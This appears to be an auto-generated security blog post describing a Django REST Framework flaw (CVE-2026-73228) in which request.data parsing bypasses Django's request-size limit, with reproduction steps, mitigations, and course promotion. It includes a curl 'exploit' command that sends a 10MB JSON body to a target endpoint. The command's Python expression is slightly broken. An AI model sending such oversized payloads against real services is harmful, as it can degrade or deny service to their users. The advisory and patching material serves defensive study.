Listen to this Post
How CVE-2026-73228 Works
CVE-2026-73228 is a vulnerability in Django REST Framework (DRF) that allows oversized HTTP request bodies to bypass Django’s built-in `DATA_UPLOAD_MAX_MEMORY_SIZE` protection.
Django’s `DATA_UPLOAD_MAX_MEMORY_SIZE` setting is designed to limit how much request-body data is loaded into memory, preventing denial-of-service via resource exhaustion. When a request exceeds this limit, Django raises a `RequestDataTooBig` exception.
The vulnerability arises because DRF’s `request.data` parsing does not go through the same guarded path as Django’s native `request.body` or request.POST. Instead, DRF passes the underlying `HttpRequest` object directly to its parsers (JSONParser and FormParser), which consume the request stream through Django’s lower-level streaming interface (HttpRequest.read()).
The execution flow is as follows:
`APIView` → `rest_framework.request.Request` → `request.data` → `Request._load_data_and_files()` → `Request._parse()` → `Request._load_stream()` → `self._stream = self._request` → `JSONParser.parse(…)` or `FormParser.parse(…)` → `stream.read()` / json.load(...).
Critically, `HttpRequest.read()` does not trigger Django’s `RequestDataTooBig` protection. As a result, DRF successfully parses oversized JSON and `application/x-www-form-urlencoded` payloads that Django itself would reject. This behavior was confirmed on Django 6.0.7 with DRF 3.17.1 and DRF current upstream main. `multipart/form-data` remains protected because DRF delegates multipart parsing to Django’s multipart parser.
The security impact is primarily denial-of-service: oversized requests can cause additional memory allocation and CPU usage. The vulnerability is fixed in DRF version 3.17.2.
DailyCVE Form:
Platform: Django REST Framework
Version: < 3.17.2
Vulnerability: Size-limit bypass
Severity: Medium (CVSS 5.3)
Date: 2026-08-11
Prediction: Patch already released (3.17.2)
What Undercode Say:
Analytics & Verification Commands
To verify if your environment is affected, you can use the following Django management shell commands to inspect your DRF version:
python -c "import rest_framework; print(rest_framework.VERSION)"
To test the vulnerability locally, configure Django with a low memory limit:
settings.py DATA_UPLOAD_MAX_MEMORY_SIZE = 10
Create a simple DRF view:
from rest_framework.views import APIView from rest_framework.response import Response class DemoView(APIView): def post(self, request): return Response(request.data)
Send an oversized JSON request (>10 bytes) using curl:
curl -X POST http://localhost:8000/demo \
-H "Content-Type: application/json" \
-d '{"value": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}'
Expected vulnerable behavior: HTTP 200 with JSON successfully parsed (bypasses the 10-byte limit).
Compare with Django’s native `request.body`:
from django.http import HttpResponse def demo_body(request): return HttpResponse(request.body)
Sending the same oversized payload to this endpoint should raise RequestDataTooBig.
Exploit: (Educational Purposes!)
An attacker can exploit this vulnerability by sending a large JSON or URL-encoded payload to any DRF endpoint that uses request.data. Since DRF bypasses Django’s size check, the payload is fully parsed into memory.
Example exploit request:
curl -X POST http://target.com/api/endpoint \
-H "Content-Type: application/json" \
-d '{"data": "'"$(python -c "print('A'10000000)")"'"}'
What happens: The DRF server attempts to parse the entire 10MB+ JSON payload, allocating memory and consuming CPU, potentially leading to service degradation or denial-of-service under repeated attacks.
Affected content types: `application/json` and `application/x-www-form-urlencoded`.
Not affected: `multipart/form-data` (protected by Django’s multipart parser).
Protection from this CVE
1. Upgrade DRF to version 3.17.2 or higher:
pip install --upgrade djangorestframework>=3.17.2
2. Configure reverse proxy to block large payloads at the network edge (e.g., Nginx client_max_body_size).
3. Implement custom middleware that accesses `request.body` explicitly before routing to DRF, triggering Django’s size check.
4. Audit custom DRF parsers to ensure they enforce explicit size limits.
Impact
- Availability: Reduced effectiveness of Django’s `DATA_UPLOAD_MAX_MEMORY_SIZE` protection for DRF endpoints using
request.data. - Resource Consumption: Additional memory allocation and CPU usage when parsing large JSON and URL-encoded payloads.
- Denial-of-Service: Potential for resource exhaustion under repeated attacks.
- Does NOT introduce: Authentication bypass, authorization bypass, remote code execution, information disclosure, or integrity compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
